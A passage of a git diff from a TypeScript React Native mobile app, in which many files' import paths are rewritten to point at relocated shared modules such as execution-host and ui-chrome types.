'../../../src/shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../src/shared/execution-host/execution-host' import { useCallback, useEffect, useLayoutEffect, useRef, useState } from 'react' import type { ComponentProps } from 'react' import type { PersistedTrustedOrcaHooks } from '../../../src/shared/workspace-setup/orca-yaml-hook-types' diff --git a/mobile/src/components/host-connection/HostProtocolGate.tsx b/mobile/src/components/host-connection/HostProtocolGate.tsx index d0fb684e786..c9c93ee8399 100644 --- a/mobile/src/components/host-connection/HostProtocolGate.tsx +++ b/mobile/src/components/host-connection/HostProtocolGate.tsx @@ -1,7 +1,7 @@ import { useEffect, useRef, type ReactNode } from 'react' import { ActivityIndicator, StyleSheet, View } from 'react-native' import { useGlobalSearchParams, usePathname } from 'expo-router' -import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host' +import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { firstParam } from '../../navigation/route-param-reader' import { useResponsiveLayout } from '../../layout/responsive-layout' import { useHostClient } from '../../transport/connection/host-client-hooks' diff --git a/mobile/src/components/icons/HostKindIcon.tsx b/mobile/src/components/icons/HostKindIcon.tsx index 80fe569344f..141eb7cf72b 100644 --- a/mobile/src/components/icons/HostKindIcon.tsx +++ b/mobile/src/components/icons/HostKindIcon.tsx @@ -1,5 +1,5 @@ import { Monitor, Server } from 'lucide-react-native' -import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host' +import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { colors } from '../../theme/mobile-theme' import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme' diff --git a/mobile/src/files/mutation-ownership/mobile-file-mutation-ownership.ts b/mobile/src/files/mutation-ownership/mobile-file-mutation-ownership.ts index ea9b5a3db57..d192ffb5633 100644 --- a/mobile/src/files/mutation-ownership/mobile-file-mutation-ownership.ts +++ b/mobile/src/files/mutation-ownership/mobile-file-mutation-ownership.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../src/shared/execution-host' +import { parseExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { assertFileMutationOwnershipCapability } from '../../../../src/shared/file-write/file-mutation-ownership' import type { SshConnectionState, diff --git a/mobile/src/host-screen/catalog/host-list-queries.ts b/mobile/src/host-screen/catalog/host-list-queries.ts index 141bb1259b1..2bda0f5de06 100644 --- a/mobile/src/host-screen/catalog/host-list-queries.ts +++ b/mobile/src/host-screen/catalog/host-list-queries.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { MOBILE_RELAY_HOST_WORKTREE_DELTAS_RUNTIME_CAPABILITY } from '../../../../src/shared/remote-runtime/relay/mobile-desktop-relay-contract' import type { MobileRelayHost } from '../../../../src/shared/remote-runtime/relay/mobile-relay-hosts-contract' import type { Query, QueryClient } from '@tanstack/react-query' diff --git a/mobile/src/host-screen/catalog/use-host-repo-metadata.ts b/mobile/src/host-screen/catalog/use-host-repo-metadata.ts index b23b7e88ee6..aa42850a916 100644 --- a/mobile/src/host-screen/catalog/use-host-repo-metadata.ts +++ b/mobile/src/host-screen/catalog/use-host-repo-metadata.ts @@ -1,5 +1,5 @@ import { useEffect } from 'react' -import { getRepoExecutionHostId } from '../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { useHostQuery } from '../../query/host-query' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' import { buildRepoHostIdByRepoId } from '../../worktree/row-presentation/worktree-host-context-labels' diff --git a/mobile/src/host-screen/host-screen-reply-schema.ts b/mobile/src/host-screen/host-screen-reply-schema.ts index a4a986b4784..67146bb2cbd 100644 --- a/mobile/src/host-screen/host-screen-reply-schema.ts +++ b/mobile/src/host-screen/host-screen-reply-schema.ts @@ -1,5 +1,5 @@ import * as z from 'zod' -import type { PersistedUIState } from '../../../src/shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../src/shared/orca-profiles/persisted-ui-state-types' import type { RepoIcon } from '../../../src/shared/repository/appearance/repo-icon' import { hostUnionArms, diff --git a/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs.ts b/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs.ts index f580f5cb84f..a0714532ada 100644 --- a/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs.ts +++ b/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs.ts @@ -3,11 +3,11 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { getHostContextLabel } from '../../../../src/shared/worktree/row-display/host-context-labels' import type { DesktopSidebarFacts } from '../../../../src/shared/sidebar-list/feed-facts/desktop-sidebar-facts' import type { SidebarFeedView } from '../../../../src/shared/sidebar-list/feed/sidebar-feed-rows' -import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { MobileViewState } from '../../worktree/workspace-list/workspace-view-settings' // Mirror desktop UI/settings into the shared sidebar builder; resolved all-host scope matches desktop legacy scope. diff --git a/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections.ts b/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections.ts index 91bb3d7eb4b..1f846046c89 100644 --- a/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections.ts +++ b/mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { folderWorkspaceToWorktree } from '../../../../src/shared/folder-workspaces/folder-workspace-worktree' import { getFolderWorkspaceHostId } from '../../../../src/shared/sidebar-list/hosts/folder-workspace-host-id' import type { HostSectionRow } from '../../../../src/shared/sidebar-list/hosts/host-section-rows' diff --git a/mobile/src/host-screen/use-host-screen-state.ts b/mobile/src/host-screen/use-host-screen-state.ts index 2027cc0f531..cb0ae49b546 100644 --- a/mobile/src/host-screen/use-host-screen-state.ts +++ b/mobile/src/host-screen/use-host-screen-state.ts @@ -1,6 +1,6 @@ import { useCallback, useRef, useState } from 'react' import { useQueryClient } from '@tanstack/react-query' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { ExecutionHostHealth } from '../../../src/shared/execution-host/execution-host-health' import { storedHostDescriptor, type HostStoredDescriptor } from './identity/host-stored-identity' import type { RpcClient } from '../transport/rpc/rpc-client-contract' diff --git a/mobile/src/host-screen/view-settings/use-host-view-settings.ts b/mobile/src/host-screen/view-settings/use-host-view-settings.ts index 4172adb8931..eb8086fd60a 100644 --- a/mobile/src/host-screen/view-settings/use-host-view-settings.ts +++ b/mobile/src/host-screen/view-settings/use-host-view-settings.ts @@ -23,7 +23,7 @@ import type { AgentActivityDisplayMode, ProjectOrderBy, WorktreeCardProperty -} from '../../../../src/shared/ui-chrome-types' +} from '../../../../src/shared/ui-chrome/ui-chrome-types' import { getWorktreeCardModeUpdates } from '../../../../src/shared/worktree/row-display/card-properties' import type { HostScreenState } from '../use-host-screen-state' import { applyCollapse, withPendingViewChanges } from './host-view-pending-changes' diff --git a/mobile/src/host-screen/workspace-list/use-host-list-sections.ts b/mobile/src/host-screen/workspace-list/use-host-list-sections.ts index 399f15bf07d..3ed6f3f214f 100644 --- a/mobile/src/host-screen/workspace-list/use-host-list-sections.ts +++ b/mobile/src/host-screen/workspace-list/use-host-list-sections.ts @@ -2,7 +2,7 @@ import { useMemo } from 'react' import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../src/shared/sidebar-list/feed/sidebar-inputs-switch' import { buildSidebarFeedRows } from '../../../../src/shared/sidebar-list/feed/sidebar-feed-rows' import { repoIconFeedKey } from '../../../../src/shared/sidebar-list/catalog/repo-icon-data-urls-contract' -import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' import { buildProjectSectionCatalog } from '../../worktree/project-sections/project-section-catalog' import { useWorkspaceSections } from '../../worktree/use-workspace-sections' @@ -29,7 +29,7 @@ import { useHostRepoIconDataUrls } from '../catalog/use-host-repo-icon-data-urls import type { HostSidebarFeed } from '../sidebar-feed/use-host-sidebar-feed' import type { HostScreenState } from '../use-host-screen-state' import { indexHiddenProjects } from '../../../../src/shared/project/catalog/hidden-projects' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../src/shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../src/shared/execution-host/execution-host' export type HostListSectionsInputs = { client: RpcClient | null diff --git a/mobile/src/host-screen/workspace-options/phone-card-property-choices.ts b/mobile/src/host-screen/workspace-options/phone-card-property-choices.ts index d68a4fa5e6e..ec086c377a5 100644 --- a/mobile/src/host-screen/workspace-options/phone-card-property-choices.ts +++ b/mobile/src/host-screen/workspace-options/phone-card-property-choices.ts @@ -1,5 +1,5 @@ import type { WorkspaceViewChoice } from '../../../../src/shared/workspace-view/workspace-view-options' -import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome/ui-chrome-types' // Omit Ports: the phone has no port scan; desktop retains it. const PHONE_HIDDEN_CARD_PROPERTIES: ReadonlySet = new Set(['ports']) diff --git a/mobile/src/host-screen/workspace-options/workspace-option-controls-copy.ts b/mobile/src/host-screen/workspace-options/workspace-option-controls-copy.ts index 188a6a2507c..d83094c22cf 100644 --- a/mobile/src/host-screen/workspace-options/workspace-option-controls-copy.ts +++ b/mobile/src/host-screen/workspace-options/workspace-option-controls-copy.ts @@ -1,6 +1,6 @@ import * as viewOptions from '../../../../src/shared/workspace-view/workspace-view-options' import type { WorkspaceViewChoice } from '../../../../src/shared/workspace-view/workspace-view-options' -import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { Translate } from '../../i18n/mobile-i18n' import { phoneCardPropertyChoices } from './phone-card-property-choices' import type { HostScreenController } from '../use-host-screen-controller' diff --git a/mobile/src/host-screen/workspace-options/workspace-option-controls.tsx b/mobile/src/host-screen/workspace-options/workspace-option-controls.tsx index c7fe9118eda..c4f81bcc35a 100644 --- a/mobile/src/host-screen/workspace-options/workspace-option-controls.tsx +++ b/mobile/src/host-screen/workspace-options/workspace-option-controls.tsx @@ -8,8 +8,8 @@ import type { WorkspaceViewOptionKey } from '../../../../src/shared/workspace-view/workspace-view-options' import * as hostVisibility from '../../../../src/shared/workspace-view/workspace-host-visibility' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' -import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome-types' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import type { WorktreeCardProperty } from '../../../../src/shared/ui-chrome/ui-chrome-types' import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme' import { hostScreenStyles as styles } from '../host-screen-styles' import { withoutPhoneHiddenProperties } from './phone-card-property-choices' diff --git a/mobile/src/host-screen/workspace-options/workspace-options-sheet.tsx b/mobile/src/host-screen/workspace-options/workspace-options-sheet.tsx index a5cfbe8be3f..9e86e9f0a8d 100644 --- a/mobile/src/host-screen/workspace-options/workspace-options-sheet.tsx +++ b/mobile/src/host-screen/workspace-options/workspace-options-sheet.tsx @@ -16,7 +16,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { getShownWorkspaceViewSections, type WorkspaceViewOptionKey, diff --git a/mobile/src/navigation/use-reported-page-location.web.ts b/mobile/src/navigation/use-reported-page-location.web.ts index 37e2c5678a2..c666b8da9fb 100644 --- a/mobile/src/navigation/use-reported-page-location.web.ts +++ b/mobile/src/navigation/use-reported-page-location.web.ts @@ -1,6 +1,6 @@ import { useEffect } from 'react' import { useGlobalSearchParams, useSegments } from 'expo-router' -import { normalizeExecutionHostId } from '../../../src/shared/execution-host' +import { normalizeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { usePageBridgeClient } from '../transport/connection/client-context.web' import { firstParam } from './route-param-reader' import { workspaceRouteHref } from './workspace-execution-host' diff --git a/mobile/src/navigation/workspace-execution-host.ts b/mobile/src/navigation/workspace-execution-host.ts index 5127e3434d6..84769b33069 100644 --- a/mobile/src/navigation/workspace-execution-host.ts +++ b/mobile/src/navigation/workspace-execution-host.ts @@ -1,5 +1,5 @@ import { createContext, useContext } from 'react' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { RouterHref } from './route-href' // Keep context separate from WorkspaceRoute so readers need not import Expo. diff --git a/mobile/src/navigation/workspace-route.tsx b/mobile/src/navigation/workspace-route.tsx index b6976e31907..68b61b01d67 100644 --- a/mobile/src/navigation/workspace-route.tsx +++ b/mobile/src/navigation/workspace-route.tsx @@ -1,6 +1,9 @@ import { useContext, type ReactNode } from 'react' import { useLocalSearchParams } from 'expo-router' -import { normalizeExecutionHostId, type ExecutionHostId } from '../../../src/shared/execution-host' +import { + normalizeExecutionHostId, + type ExecutionHostId +} from '../../../src/shared/execution-host/execution-host' import { firstParam } from './route-param-reader' import { WorkspaceExecutionHostContext } from './workspace-execution-host' import { diff --git a/mobile/src/new-workspace/creation/forms/new-worktree-modal-types.ts b/mobile/src/new-workspace/creation/forms/new-worktree-modal-types.ts index f5f6f9e609a..dff6a28a72c 100644 --- a/mobile/src/new-workspace/creation/forms/new-worktree-modal-types.ts +++ b/mobile/src/new-workspace/creation/forms/new-worktree-modal-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' import type { Repo as SharedRepo } from '../../../../../src/shared/repository/repo-types' import type { RpcClient } from '../../../transport/rpc/rpc-client-contract' import type { SetupHookTrust } from '../setup-hook-trust' diff --git a/mobile/src/new-workspace/creation/modal/NewWorktreeModal.tsx b/mobile/src/new-workspace/creation/modal/NewWorktreeModal.tsx index 6a2084ecd30..a2aa4cc65fb 100644 --- a/mobile/src/new-workspace/creation/modal/NewWorktreeModal.tsx +++ b/mobile/src/new-workspace/creation/modal/NewWorktreeModal.tsx @@ -4,7 +4,7 @@ import { getComposerRepoWorktreeBranches } from '../../../../../src/shared/new-w import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../src/shared/execution-host' +} from '../../../../../src/shared/execution-host/execution-host' import { getProjectIdentityKey } from '../../../../../src/shared/project/host-setup/project-host-setup-projection' import { shouldPreserveWorkspaceSourceOnRepoChange } from '../../../../../src/shared/new-workspace/workspace-source' import { useMobileTranslation } from '../../../i18n/use-mobile-translation' diff --git a/mobile/src/new-workspace/creation/modal/NewWorktreeModalController.tsx b/mobile/src/new-workspace/creation/modal/NewWorktreeModalController.tsx index 67011d97fc0..7bfd99185b7 100644 --- a/mobile/src/new-workspace/creation/modal/NewWorktreeModalController.tsx +++ b/mobile/src/new-workspace/creation/modal/NewWorktreeModalController.tsx @@ -1,6 +1,6 @@ import { useMemo } from 'react' -import type { ExecutionHostId } from '../../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' import { useReachableServerClients } from '../../../worktree/execution-hosts/use-reachable-server-clients' import { withServerHosts } from '../../../worktree/execution-hosts/server-workspaces' import { NewWorktreeModal } from './NewWorktreeModal' diff --git a/mobile/src/new-workspace/creation/modal/NewWorktreeModalDrawers.tsx b/mobile/src/new-workspace/creation/modal/NewWorktreeModalDrawers.tsx index 174b95c8c12..2014052f175 100644 --- a/mobile/src/new-workspace/creation/modal/NewWorktreeModalDrawers.tsx +++ b/mobile/src/new-workspace/creation/modal/NewWorktreeModalDrawers.tsx @@ -1,5 +1,5 @@ import { View } from 'react-native' -import { getRepoExecutionHostId } from '../../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' import { useMobileTranslation } from '../../../i18n/use-mobile-translation' import type { SmartModeAvailabilityInput } from '../../source-selection/mobile-smart-source-modes' import type { PasteRepoCandidate } from '../../source-selection/smart-source-paste-intent' diff --git a/mobile/src/new-workspace/creation/runtime/use-new-workspace-create-submit.ts b/mobile/src/new-workspace/creation/runtime/use-new-workspace-create-submit.ts index 701462338d2..93ea2dfaf7f 100644 --- a/mobile/src/new-workspace/creation/runtime/use-new-workspace-create-submit.ts +++ b/mobile/src/new-workspace/creation/runtime/use-new-workspace-create-submit.ts @@ -35,7 +35,7 @@ import type { import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../src/shared/execution-host' +} from '../../../../../src/shared/execution-host/execution-host' import { isRpcDeliveryUnknown } from '../../../transport/rpc/rpc-delivery-ambiguity' import type { OrcaHookTrustPrompt } from '../../../components/hook-trust/OrcaHookTrustDrawer' import type { NewWorktreeDrawerView } from '../modal/use-new-worktree-drawer-navigation' diff --git a/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.test.ts b/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.test.ts index 8183969571e..526d66c0d2d 100644 --- a/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.test.ts +++ b/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.test.ts @@ -1,6 +1,6 @@ import { act } from 'react-test-renderer' import { afterEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' import { FakeSession } from '../../../transport/connection/mobile-endpoint-supervisor-test-fakes' import { hookMount, diff --git a/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.ts b/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.ts index cf465ced3f3..77a99a16ab2 100644 --- a/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.ts +++ b/mobile/src/new-workspace/creation/runtime/use-new-workspace-repositories.ts @@ -3,7 +3,7 @@ import { useQueryClient } from '@tanstack/react-query' import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../src/shared/execution-host' +} from '../../../../../src/shared/execution-host/execution-host' import type { RpcClient } from '../../../transport/rpc/rpc-client-contract' import { cachedHostRepos } from '../../../host-screen/catalog/host-list-queries' import { listHostRepos } from '../../../worktree/repositories/server-repos' diff --git a/mobile/src/new-workspace/creation/runtime/use-new-workspace-setup-script.ts b/mobile/src/new-workspace/creation/runtime/use-new-workspace-setup-script.ts index f6c94fb9930..52d4116b4db 100644 --- a/mobile/src/new-workspace/creation/runtime/use-new-workspace-setup-script.ts +++ b/mobile/src/new-workspace/creation/runtime/use-new-workspace-setup-script.ts @@ -1,5 +1,5 @@ import { useCallback, useEffect, useState } from 'react' -import { getRepoExecutionHostId } from '../../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' import type { RpcClient } from '../../../transport/rpc/rpc-client-contract' import { normalizeSetupHookTrust, readRepoHooksSetupCommand } from '../setup-hook-trust' import { newWorkspaceSetupHooksRead } from './new-workspace-operations' diff --git a/mobile/src/new-workspace/source-selection/presentation/new-workspace-project-targets.ts b/mobile/src/new-workspace/source-selection/presentation/new-workspace-project-targets.ts index e2c206dedb5..5970714749c 100644 --- a/mobile/src/new-workspace/source-selection/presentation/new-workspace-project-targets.ts +++ b/mobile/src/new-workspace/source-selection/presentation/new-workspace-project-targets.ts @@ -2,7 +2,7 @@ import type { Repo } from '../../../../../src/shared/repository/repo-types' import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../src/shared/execution-host' +} from '../../../../../src/shared/execution-host/execution-host' import { getProjectIdentityKey, getProjectProviderIdentity diff --git a/mobile/src/new-workspace/use-host-label-by-id.ts b/mobile/src/new-workspace/use-host-label-by-id.ts index 8bc1410d4c1..6b5f23ea264 100644 --- a/mobile/src/new-workspace/use-host-label-by-id.ts +++ b/mobile/src/new-workspace/use-host-label-by-id.ts @@ -1,5 +1,5 @@ import { useMemo } from 'react' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { HOST_LIST_TARGET, hostRepoLabelsQuery, diff --git a/mobile/src/notifications/navigation/notification-routing.ts b/mobile/src/notifications/navigation/notification-routing.ts index 5be473901d7..fcd01252cc6 100644 --- a/mobile/src/notifications/navigation/notification-routing.ts +++ b/mobile/src/notifications/navigation/notification-routing.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../src/shared/execution-host' +import { parseExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { HostStackRouteTarget } from '../../navigation/host-stack-navigation' import { mobileSessionRouteTarget } from '../../session/mobile-session-route' import type { HostCredentialStatus } from '../../host-catalog/host-profile' diff --git a/mobile/src/platform/pdf-viewing/pdf-opener.web.ts b/mobile/src/platform/pdf-viewing/pdf-opener.web.ts index 8cea6a2af81..7b85e1c3a48 100644 --- a/mobile/src/platform/pdf-viewing/pdf-opener.web.ts +++ b/mobile/src/platform/pdf-viewing/pdf-opener.web.ts @@ -1,5 +1,5 @@ import { useMemo } from 'react' -import { parseExecutionHostId } from '../../../../src/shared/execution-host' +import { parseExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { NativeVerbError, useNativeVerbs diff --git a/mobile/src/query/first-paint-query-keys.ts b/mobile/src/query/first-paint-query-keys.ts index b97a8de73f9..30f5d79bb34 100644 --- a/mobile/src/query/first-paint-query-keys.ts +++ b/mobile/src/query/first-paint-query-keys.ts @@ -1,5 +1,5 @@ import type { QueryClient } from '@tanstack/react-query' -import { normalizeExecutionHostId } from '../../../src/shared/execution-host' +import { normalizeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { accountsSnapshotFamily, accountsSnapshotKey } from '../accounts/accounts-snapshot-stream' import { HOST_LIST_TARGET, diff --git a/mobile/src/query/host-query-key.ts b/mobile/src/query/host-query-key.ts index 4e807ef7105..e9f23bdfa77 100644 --- a/mobile/src/query/host-query-key.ts +++ b/mobile/src/query/host-query-key.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' // `exec` is always set: workspace ids collide across servers, as in composeWorktreeHostIdentity. export type HostQueryTarget = { exec: ExecutionHostId; worktree?: string; repo?: string } diff --git a/mobile/src/session/agent-launch/launched-agent-opener.ts b/mobile/src/session/agent-launch/launched-agent-opener.ts index fdda1fdffb5..d9c9f0731f9 100644 --- a/mobile/src/session/agent-launch/launched-agent-opener.ts +++ b/mobile/src/session/agent-launch/launched-agent-opener.ts @@ -1,5 +1,5 @@ import { useNavigation } from 'expo-router' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { HOST_SESSION_ROUTE } from '../../navigation/host-stack-navigation' import { stringifyRouteHref } from '../../navigation/route-href' import { useShellSessionHandoff } from '../../navigation/route-handoff' diff --git a/mobile/src/session/agent-launch/mobile-new-tab-agent-loader.ts b/mobile/src/session/agent-launch/mobile-new-tab-agent-loader.ts index c4bc4eb52d1..fff5521107f 100644 --- a/mobile/src/session/agent-launch/mobile-new-tab-agent-loader.ts +++ b/mobile/src/session/agent-launch/mobile-new-tab-agent-loader.ts @@ -13,7 +13,7 @@ import { newTabFolderProjectGroupListRead, newTabFolderRepoListRead } from './mobile-new-tab-folder-host-operations' -import { parseExecutionHostId } from '../../../../src/shared/execution-host' +import { parseExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { newTabSettingsRead } from './mobile-new-tab-settings-operations' import { type MobileRuntimeRepoSummary, newTabRepoListRead } from './mobile-runtime-repo-operations' import { diff --git a/mobile/src/session/mobile-session-route.ts b/mobile/src/session/mobile-session-route.ts index da6e1b5099f..86a77d79c0e 100644 --- a/mobile/src/session/mobile-session-route.ts +++ b/mobile/src/session/mobile-session-route.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { HOST_SESSION_ROUTE, STANDALONE_SESSION_PARAM, diff --git a/mobile/src/session/tabs/mobile-session-last-tabs.ts b/mobile/src/session/tabs/mobile-session-last-tabs.ts index 835754ddb08..5450fc44a75 100644 --- a/mobile/src/session/tabs/mobile-session-last-tabs.ts +++ b/mobile/src/session/tabs/mobile-session-last-tabs.ts @@ -1,7 +1,7 @@ import { useCallback, useMemo } from 'react' import { hashKey, skipToken, useQuery, useQueryClient } from '@tanstack/react-query' import * as z from 'zod' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { useWorkspaceExecutionHost } from '../../navigation/workspace-execution-host' import { hostQueryKey } from '../../query/host-query-key' import type { PersistedHostFamily } from '../../query/host-query-persistence' diff --git a/mobile/src/source-control/changes/mobile-git-status-query.ts b/mobile/src/source-control/changes/mobile-git-status-query.ts index 2ed251bdf63..5eae70d2058 100644 --- a/mobile/src/source-control/changes/mobile-git-status-query.ts +++ b/mobile/src/source-control/changes/mobile-git-status-query.ts @@ -1,7 +1,7 @@ import * as z from 'zod' import { hashKey, type QueryClient } from '@tanstack/react-query' import { translate } from '../../i18n/mobile-i18n' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../src/shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../src/shared/execution-host/execution-host' import { getRepoIdFromWorktreeId, worktreeIdsEqual } from '../../../../src/shared/worktree/id' import { defineHostQuery, type HostSignalEvent } from '../../query/host-query' import { hostQueryKey, type HostQueryTarget } from '../../query/host-query-key' diff --git a/mobile/src/source-control/changes/mobile-git-status.ts b/mobile/src/source-control/changes/mobile-git-status.ts index 090f89c5199..83f64a61b9f 100644 --- a/mobile/src/source-control/changes/mobile-git-status.ts +++ b/mobile/src/source-control/changes/mobile-git-status.ts @@ -21,7 +21,7 @@ import { getConflictResolutions, type ConflictResolution } from '../../../../src/shared/source-control/listing/source-control-entry-actions' -import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome-types' +import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { RpcResponse } from '../../transport/rpc/rpc-wire-types' import type { MobileGitStatusEntry } from '../git/git-status-reply-schema' diff --git a/mobile/src/source-control/changes/mobile-source-control-sections.ts b/mobile/src/source-control/changes/mobile-source-control-sections.ts index e89d2fb8c09..89714155951 100644 --- a/mobile/src/source-control/changes/mobile-source-control-sections.ts +++ b/mobile/src/source-control/changes/mobile-source-control-sections.ts @@ -1,5 +1,5 @@ import { useMemo } from 'react' -import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome-types' +import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome/ui-chrome-types' import { useMobileTranslation } from '../../i18n/use-mobile-translation' import { buildMobileSourceControlSections } from './mobile-git-status' import type { MobileGitStatusEntry } from '../git/git-status-reply-schema' diff --git a/mobile/src/source-control/folder/MobileFolderEmptyState.tsx b/mobile/src/source-control/folder/MobileFolderEmptyState.tsx index a32e6c99653..3dc312eccc7 100644 --- a/mobile/src/source-control/folder/MobileFolderEmptyState.tsx +++ b/mobile/src/source-control/folder/MobileFolderEmptyState.tsx @@ -3,7 +3,7 @@ import { ActivityIndicator, ScrollView, View } from 'react-native' import { FolderGit2, GitBranch, Plus } from 'lucide-react-native' import type { Repo } from '../../../../src/shared/repository/repo-types' import { projectGroupIdFromRepoId } from '../../../../src/shared/folder-workspaces/folder-workspace-worktree' -import { getRepoExecutionHostId } from '../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { WORKTREE_CREATE_EXACT_NAME_RUNTIME_CAPABILITY } from '../../../../src/shared/remote-runtime/protocol/worktree-runtime-capabilities' import { ListGroup, ListRow, SectionHeader } from '../../components/list/ListGroup' import { MobileStateView } from '../../components/feedback/MobileStateView' diff --git a/mobile/src/source-control/folder/folder-source-repos-query.ts b/mobile/src/source-control/folder/folder-source-repos-query.ts index b41fce72475..513a6a324d9 100644 --- a/mobile/src/source-control/folder/folder-source-repos-query.ts +++ b/mobile/src/source-control/folder/folder-source-repos-query.ts @@ -5,7 +5,7 @@ import { LOCAL_EXECUTION_HOST_ID, getRepoExecutionHostId, getSshTargetIdForExecutionHost -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { defineHostQuery } from '../../query/host-query' import type { HostQueryTarget } from '../../query/host-query-key' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' diff --git a/mobile/src/source-control/folder/mobile-folder-attached-worktrees.ts b/mobile/src/source-control/folder/mobile-folder-attached-worktrees.ts index 540a106855f..dfe81c26279 100644 --- a/mobile/src/source-control/folder/mobile-folder-attached-worktrees.ts +++ b/mobile/src/source-control/folder/mobile-folder-attached-worktrees.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { Worktree } from '../../worktree/workspace-list/workspace-list-types' import { getMobileWorkspaceLineageChildren, diff --git a/mobile/src/source-control/folder/use-folder-create-flow.tsx b/mobile/src/source-control/folder/use-folder-create-flow.tsx index 